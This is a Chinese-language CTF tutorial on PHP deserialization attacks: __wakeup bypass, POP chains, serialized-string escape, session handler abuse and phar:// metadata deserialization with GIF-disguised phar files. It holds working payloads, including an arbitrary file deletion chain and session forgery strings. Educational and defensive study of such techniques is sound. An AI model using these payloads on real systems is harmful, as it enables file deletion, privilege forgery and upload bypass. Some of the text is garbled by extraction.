CTF中的PHP反序列化
1.反序列化的基础知识
什么是序列化,反序列化,php反序列化,序列化字符串知识,漏洞产生原因,修复方法
php反序列化漏洞,又叫php对象注入漏洞,是ctf中常见的漏洞。
PHP基础知识
PHP类与对象(/manual/zh/language.)
PHP魔术方法(/manual/zh/language.)
序列化定义
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。将php中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中,而反序列化就是将这个过程倒过来。
php序列化的函数为serialize。反序列化的函数为unserialize。
序列化serialize()
当我们在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,用于保存对象的值方便之后的传递与使用。测试代码如下;
<?php
class Test{
public$a = 'ThisA';
protected$b = 'ThisB';
private$c = 'ThisC';
publicfunction test1(){
return'this is test1 ';
}
}
$test = new Test();
var_dump(serialize($test));
?>
运行结果:
解释一下:
O代表是对象;:4表示改对象名称有4个字符;:”Test”表示改对象的名称;:3表示改对象里有3个成员。除了O代表对象之外a - array 数组 b - boolean布尔型 d - double双精度型 i - integer o - common object一般对象 r - reference s - string C - custom object 自定义对象 O - class N - null R - pointer reference U - unicode string unicode编码的字符串接着是括号里面的。我们这个类的三个成员变量由于变量前的修饰不同,在序列化出来后显示的也不同。
第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;由于变量是有变量名和值的。所以序列化需要把这两个都进行转换。序列化后的字符串以分号分割每一个变量的特性。
这个要根据分号来分开看,分号左边的是变量名,分号右边的是变量的值。
先看左边的。其实都是同理的。s表示是字符串,1表示该字符串中只有一个字符,”a”表示该字符串为a。右边的同理可得。
第二个变量和第一个变量有所不同,多了个乱码和 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料,其实是 %00(url编码,hex也就是0x00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00%00
第三个变量的属性是private。表示方式是在变量名前加上%00类名%00
可以看到虽然Test类中有test1这个方法,但是序列化后的字符串中并没有包含这个方法的信息。所以序列化不保存方法。
反序列化unserialize()
<?php
class Test{
public$a = 'ThisA';
protected$b = 'ThisB';
private$c = 'ThisC';
publicfunction test1(){
return'this is test1 ';
}
}
$test = new Test();
$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);
?>
运行结果:
可以看到类的成员变量被还原了,但是类方法没有被还原,因为序列化的时候就没保存方法。
魔术方法
大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。
__construct 当一个对象创建时被调用
__destruct 当一个对象销毁时被调用
__toString 当一个对象被当作一个字符串使用
__sleep 在对象被序列化之前运行
__wakeup 在对象被反序列化之后被调用
__invoke() :对象当作函数调用时被调用
__call 调用不存在的方法时
还有很多特殊不常见的方法
通过一个例子来说明序列化的过程
<?php
classTest{
public function __construct(){
echo 'construct run';
}
public function __destruct(){
echo 'destruct run';
}
public function __toString(){
echo 'toString run';
}
public function __sleep(){
echo 'sleep run';
}
public function __wakeup(){
echo 'wakeup run';
}
}
/**/
echo'new了一个对象,对象被创建,执行__construct</br>';
$test= new Test();
/**/
echo'</br>serialize了一个对象,对象被序列化,先执行__sleep,再序列化</br>';
$sTest= serialize($test);
/**/
echo'</br>unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup</br>';
$usTest= unserialize($sTest);
/**/
echo'</br>把Test这个对象当做字符串使用了,执行__toString</br>';
$string= 'hello class ' . $test;
/**/
echo'</br>程序运行完毕,对象自动销毁,执行__destruct</br>';
?>
输出:
可以看到有一个警告一个报错,是因为__sleep函数期望能return一个数组,而__toString函数则必须返回一个字符串。由于我们都是echo的没有写return,所以引发了这些报错,那么我们就按照报错的来,要什么加什么。
输出:
现在只需要明白这5个魔法函数的执行顺序即可
反序列化漏洞
由前面可以看出,当传给 unserialize() 的参数可控时,我们可以通过传入一个"精心”构造的序列化字符串,从而控制对象内部的变量甚至是函数。
<?php
class Example1
{
public $cache_file;
public $condition;
function __construct()
{
// some PHP code
}
function __destruct()
{ if($this->condition==='balabala')
{
$this->Delete($this->cache_file);
}
}
function Delete($filename)
{
$file = "{$filename}";
echo $file;
echo 'delete';
if (file_exists($file))
{
unlink($file);
echo 'ok';
}
}
}
$user_data = unserialize($_GET['data']);
?>
这是一个简单的php反序列化的例子,可以看出通过赋值对应的值,控制cache_file和condition变量,就可以实现任意文件删除.在反序列化后也就执行unserialize函数之后,会自动调用析构函数destruct()
<?php
class Example1
{
public $cache_file='';
public $condition='balabala';
}
$a=new Example1();
echo serialize($a);
?>
payload:
O:8:"Example1":2:{s:10:"cache_file";s:5:"";s:9:"condition";s:8:"balabala";}
2.简单反序列化漏洞
绕过__wakeup
__wakeupunserialize()会检查是否存在一个__wakeup()方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
以一个例题来说明__wakeup()的绕过方式
极客大挑战[2019]PHP
打开题目的实例
查看源码发现一句话,什么可爱备份了,猜测是备份文件泄露,于是,试试 bak 后缀,无用
直接上 dirsearch 扫了一圈,找到 备份文件,在 中发现
继续查看发现 结果一个假 flag 而已
发现 ,确定这题就是反序列化漏洞无疑
<?php
include '';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
于是,去构造 payload,阅读源码发现需要时 username=admin,password=100,还需要绕过__wakeup 析构函数
<?php
private $username = 'admin';
private $password = '100';
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的 username 重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct,跳过__wakeup()。
在反序列化字符串时,属性个数的值大于实际属性个数时**(CVE-2016-7124)**,会跳过 __wakeup()函数的执行
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
不过还是没有结束,因为这个声明变量是 private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0 的前缀。字符串长度也包括所加前缀的长度
O:4:“Name”:3:{s:14:"%00Name%00username";s:5:“admin”;s:14:"%00Name%00password";i:100;}
关于触发__tostring()
__tostring的触发方式比较多,单独列了出来
__toString 当一个对象被当作一个字符串使用
- echo( o b j ) / p r i n t ( obj) / print( obj)/print(obj)将其打印出来的时候
- “I am {$obj}” / 'test '. $obj字符串连接
- sprintf(“I am %s”, $obj)格式化字符串
- if($obj == ‘admin’)与字符串进行= =比较的时候(从此也可以印证,PHP进行= =比较的时候会转换参数类型)
5.格式化SQL语句,绑定参数的时候会被调用 - in _array($obj, [‘admin’, ‘guest’]), 数组中有字符串的时候会被调用
7.正则匹配,字符串匹配(stripos)
链反序列化漏洞
什么是pop链,pop反序列化漏洞,漏洞产生原因,修复方法
pop链定义
把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
通常反序列化的攻击是在魔术方法中出现一些可利用的漏洞,通过自动调用来触发漏洞。但是如果关键代码不在魔术方法中,而是在一个类的普通方法中。这个时候我们可以通过寻找相同的函数名将类的属性和敏感函数联系起来。
本示例代码参考自l3m0n博客中的示例再结合本篇的示例撰写,在Example2中已经说到需要在当前类中跟踪魔术方法中调用的普通函数的数据传输过程;
接下来的Example3,Example4,Example5是需要在类与类之间跟踪数据传输的过程,其中Example3中的__toString魔术方法调用了Delete()方法且在代码unserialize($_GET[‘data’]);与echo $user_data;满足反序列化函数可控和魔术方法触发的条件,接下来就需要跟踪_toString魔术方法中的数据传递过程。
跟踪寻找Delete()方法,在Example5中发现了是一个做了安全处理Delete()的方法,在Example4中也存在了一个Delete()方法,但该方法存在安全问题;
由protected o b j 与 obj与 obj与this->obj = new Example5;可知道传入的是受保护的class(需要在序列化后对数据进行编码或者在星号*前后加上%00) 所以可以通过反序列化将$obj设置为 Example4,然后就会使用 Example4中存在安全问题的Delete()方法,导致任意文件删除漏洞。
1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7. {
8. $this->obj = new Example5;
9. }
10.
11. function __toString()
12. {
13. if (isset($this->obj)) return $this->obj->Delete();
14. }
15.}
16.
17.class Example4
18.{ public $cache_file;
19. function Delete()
20. { $file = "/var/www/html/cache/tmp/{$this->cache_file}";
21. if (file_exists($file))
22. {
23. @unlink($file);
24. }
25.
26. return 'I am a evil Delete function';
27. }
28.}
29.
30.class Example5
31.{
32. function Delete()
33. {
34. return 'I am a safe Delete function';
35. }
36.}
37.
38.$user_data = unserialize($_GET['data']);
39.echo $user_data;
40.?>
在站点根目录下创建文件名为thinking3的测试文件。
root@ubuntu:/var/www/html# ls
cache thinking3
使用如下代码构造payload,删除/var/www/html下的thinking3文件。
1.<?php
2.class Example3
3.{
4. protected $obj;
5.
6. function __construct()
7. {
8. $this->obj = new Example4;
9. }
10.
11.}
12.
13.class Example4
14.{ public $cache_file = '../../thinking3';
15.
16.}
17.
18.$evil = new Example3();
19.echo urlencode(serialize($evil));
20.?>
output:
O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
payload:
http://192.168.163.136/?data=O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D
or
http://192.168.163.136/?data=O:8:"Example3":1:{s:6:"%00*%00obj";O:8:"Example4":1:{s:10:"cache_file";s:15:"../../thinking3";}}
这就是一个简单的反序列化的例子,通过构造pop链,实现魔法函数与普通函数的调用,在不同类之间跳转,最后执行功能点处的代码,实现漏洞利用。
4.反序列化的逃逸
替换变长,替换变短,漏洞产生原因,修复方法
反序列化的特点
首先要了解一下反序列化的一些特点:
- php在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。
class A{
public $name='shy';
public $pass='123456';
}
$lemon = new A();
echo serialize($lemon);
#反序列化后的结果为:
O:1:"A":2:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";}
超出的部分并不会被反序列化成功,如下图:
这说明反序列化的过程是有一定识别范围的,在这个范围之外的字符都会被忽略,不影响反序列化的正常进行。而且可以看到反序列化字符串都是以";}
结束的,那如果把";}
添入到需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就相应的丢弃了。
- 长度不对应的时候会报错
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度错误则反序列化就会失败
- 可以反序列化类中不存在的元素
<?php
$str='O:1:"A":3:{s:4:"name";s:3:"shy";s:4:"pass";s:6:"123456";s:5:"pass2";s:6:"123456";}';
var_dump(unserialize($str));
• 1
• 2
• 3
这些特点一定要清楚,否则在做题时可能就因为这些基础知识而做出不来。
ctf中的反序列化
ctf中的反序列化有两个共同的特点:
- php序列化后的字符串经过了替换或者修改,导致字符串长度发生变化(变长、变短).
- 总是先进行序列化,再进行替换修改操作.
经典题目:
- [0CTF 2016]piapiapia (替换变长)
- [安洵杯 2019]easy_serialize_php (替换变短)
过滤后字符变多(替换变长)
实验代码:
#参考字节脉搏实验室
<?php
function lemon($string){
$lemon = '/p/i';
return preg_replace($lemon,'ww',$string);
}
$username = $_GET['a'];
$age = '20';
$user = array($username,$age);
var_dump(serialize($user));
echo "<br>";
$r = lemon(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
正常输入的话
因为我们输入的是apple,含有两个p
,所以会被替换成四个w
,但是发现长度并没有变化,因此根据反序列化的特点,指定的长度错误则反序列化就会失败。
但是正是因为存在这个过滤,我们便可以去修改age的值,首先来看一下,原来序列化后";i:1;s:2:"20";}
长度为16,我们已经知道了当输入一个p
会替换成ww
,所以如果输入16个p,那么会生成32个的w
,所以如果我们输入16个p再加上构造的相同位数的";i:1;s:2:"30";}
,恰好是32位,即
32 pppppppppppppppp";i:1;s:2:"30";}
经过替换后
32 wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
所以非常明显了,在过滤后的序列化时会被32个w全部填充,从而使构造的代码";i:1;s:2:"30";}
成功逃逸,修改了age的值,而原来的那";i:1;s:2:"20";}
则被忽略了因为反序列化字符串都是以";}
结束的,我们传入的";i:1;s:2:"30";}
已经在前面成功闭合了
过滤后字符变少(替换变短)
搭建一个简单的实验环境代码如下:
#参考Mr. Anonymous师傅的代码学习
<?php
function str_rep($string){
return preg_replace( '/lemon|shy/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>
如果正常输入的话,回显出的结果如下:
已经知道number的值是固定的2020
如果想要修改这个值,就要在sign中加入";s:6:"number";s:4:"2000";}
,其长度为27,仔细观察便可以发现是利用反序列化的第一个特点底层代码是以
;作为字段的分隔,以
}作为结尾
,想要将之前的number挡在序列化之外,从而可以反序列化自己构造的,但直接输入发现是不行的,并没有将我们输入的给反序列化了
在实验代码中有替换功能,当遇到lemon 或 shy
会自动替换为空,也这里用shy
做为name的输入,故意输入敏感字符,替换为空之后来实现字符逃逸,三个字符变成零个字符,吃掉了三个字符
,输入8个shy
,也就是腾出了24个字符的空间,利用这个空间来进行构造,由于";s:4:"sign";s:54:"hello成了
name的内容,所以还要在后面加个";s:4:"sign";s:4:"eval
作为sign序列化的内容。
这个构造其实也很简单,因为经过测试发现,";s:4:"sign";s:
这个长度其实是不变的,变的是我们在参数sign输入的参数,这里假设输入9个shy,那么吃掉了27个字符,对应的就需要添加27个字符,目前";s:4:"sign";s:
这个长度为15,所以还差12个,因为整个payload肯定是不超过100个字符的,所以加上后面的长度,也就是";s:4:"sign";s:xx:"
,这个长度为19,因此我们要输入的字符只需8个即可
payload:
http://127.0.0.1/
?name=shyshyshyshyshyshyshyshyshy
&sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
这样便可以将number的值给更改了
当少变多的时候,往往在后面跟着闭合并且将后面的键值对挤出去。
当多变少的时候,往往是两个参数,通过前面的参数吃掉中间的部分,后面的部分就可以随意构造了。
5. PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
phpsession,漏洞产生原因,修复方法
php session
首先了解下 php session 的三种存储方式
存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。
存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
假设我们的环境是xampp,那么默认配置如上所述。
在默认配置情况下:
<?php
session_start()
$_SESSION['name'] = 'spoock';
var_dump();
?>
最后的session的存储和显示如下:
可以看到PHPSESSID的值是jo86ud4jfvu81mbg28sl2s56c2,而在xampp/tmp下存储的文件名是sess_jo86ud4jfvu81mbg28sl2s56c2,文件的内容是name|s:6:"spoock";
。name是键值,s:6:"spoock";
是serialize("spoock")
的结果。
在php_serialize引擎下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是a:1:{s:4:"name";s:6:"spoock";}
。a:1是使用php_serialize进行序列话都会加上。同时使用php_serialize会将session中的key和value都会进行序列化。
h
在php_binary引擎下:
<?php
ini_set('session.serialize_handler', 'php_binary');
session_start();
$_SESSION['name'] = 'spoock';
var_dump();
?>
SESSION文件的内容是names:6:"spoock";
。由于name的长度是4,4在ASCII表中对应的就是EOT。根据php_binary的存储规则,最后就是names:6:"spoock";
。(突然发现ASCII的值为4的字符无法在网页上面显示,这个大家自行去查ASCII表吧)
php session 在服务器中默认的文件名
sess_PHPSESSID(phpsessid 是一组字符串)
web3考核
这是题目的源码
<?php
highlight_file(__FILE__);
$content = @$_GET['content'] ? "---mylocalnote---\n" . $_GET['content'] : "";
$name = @$_GET['name'] ? $_GET['name'] : '';
str_replace('/', '', $name);
str_replace('\\', '', $name);
file_put_contents("/tmp/" . $name, $content);
session_start();
if (isset($_SESSION['username'])) {
echo "Thank u,{$_SESSION['username']}";
}
//flag in
可以得知 flag 在 中去访问 ,提示不是 admin 用户
可以看到我们写入的文件存储到了 tmp 目录下,而 session 的存储位置:一般是存储在/tmp 下,我们可以通过改变 session 存储文件中的值,产生反序列化漏洞
php 储存 session 的三种方式:
php_serialize 经过 serialize()函数序列化数组
php 键名+竖线+经过 serialize()函数处理的值
php_binary 键名的长度对应的 ascii 字符+键名+serialize()函数序列化的值
php 是默认的存储方式
如何改变 session 存储文件中的值?
需要将 username 的值改为 admin,也就是?content=admin|s:5:“admin”&name=sess_phpsessid
name 对于我们是可控的,name 也只是做了简单的过滤,没有影响
而 content,在前面加了一串字符,我们需要是这传字符失效
也就是让 content 的值为?content=|N;admin|s:5:“admin”;
再次访问 就可以得到 flag
伪协议触发php反序列化
phar协议知识,phar反序列化漏洞,漏洞产生原因,修复方法
PHAR压缩包
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件。如果你使用的是 PHP 5.3 或更高版本,那么Phar后缀文件是默认开启支持的,你不需要任何其他的安装就可以使用它。
PHAR文件缺省状态是只读的,使用Phar文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下
打开,找到
指令行,修改成:
phar.readonly = 0
创建一个phar压缩包
<?php
$phar = new Phar('');
$phar->buildFromDirectory(__DIR__.'/../', '/\.php$/');
$phar->compressFiles(Phar::GZ);
$phar->stopBuffering();
$phar->setStub($phar->createDefaultStub('lib_config.php'));
new Phar的参数是压缩包的名称。buildFromDirectory指定压缩的目录,第二个参数可通过正则来制定压缩文件的扩展名。
Phar::GZ表示使用gzip来压缩此文件。也支持bz2压缩。参数修改为 PHAR::BZ2即可。
setSub用来设置启动加载的文件。默认会自动加载并执行 lib_config.php。
执行此代码后,即生成一个文件。
使用phar压缩包
<?php
include '';
include '/code/';
使用phar可以很方便的打包你的代码,集成部署到线上机器。
phar文件结构
查阅手册可知一个phar文件有四部分构成:
1.a stub
可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以__HALT_COMPILER();?>
来结尾,否则phar扩展将无法识别这个文件为phar文件。
-
a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3.the file contents
被压缩文件的内容。 -
[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾
<?php
class TestObject {
}
@unlink("");
$phar = new Phar(""); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
可以明显的看到meta-data是以序列化的形式存储的:
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
php底层源码处理,也是调用了unserialize()
php-src/ext/phar/
phar_test1.php
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar:///';
file_get_contents($filename);
?>
其他函数当然也是可行的:
phar_test2.php
<?php
class TestObject {
public function __destruct() {
echo 'Destruct called';
}
}
$filename = 'phar:///a_random_string';
file_exists($filename);
//......
?>
当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,一些之前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。
将phar伪造成其他格式的文件
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
<?php
class TestObject {
}
@unlink("");
$phar = new Phar("");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
成功伪造了文件的类型,采用这种方法可以绕过很大一部分上传检测。
漏洞利用
phar文件本质上是一种压缩文件,使用phar://协议读取文件时, 文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata) 信息会被反,序列化。这就引出了我们攻击手法最核心的流程。
构造phar(元数据中含有恶意序列化内容)文件–>.上传–>触发反序列化最后-步是寻找触发phar文件元数据反序列化。其实php中有大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta -data进行反序列化。该方法在文件系统函数(file_ exists()、 is. _dir()等) 参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用之前,先来看一下这种攻击的利用条件。
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
防御
- 在文件系统函数的参数可控时,对参数进行严格的过滤。
- 严格检查上传文件的内容,而不是只检查文件头。
- 在条件允许的情况下禁用可执行系统命令、代码的危险函数。
phar其他利用方式
phar LFI/p/3b09ab7487e7
phar文件上传
参考链接:
师傅们总结的都很好,感谢分享。
PHP反序列化漏洞简介及相关技巧小结/articles/web/
最全的PHP反序列化漏洞的理解和应用/column/
初探反序列化与POP CHAIN/column/
浅析php反序列化字符串逃逸/qq_43431158/article/details/108210822
浅谈php序列化字符串逃逸/hello-there/p/
深入解析PHP中SESSION反序列化机制https:///article/
PHP中phar包的使用/archives/168
利用 phar 拓展 php 反序列化漏洞攻击面/680/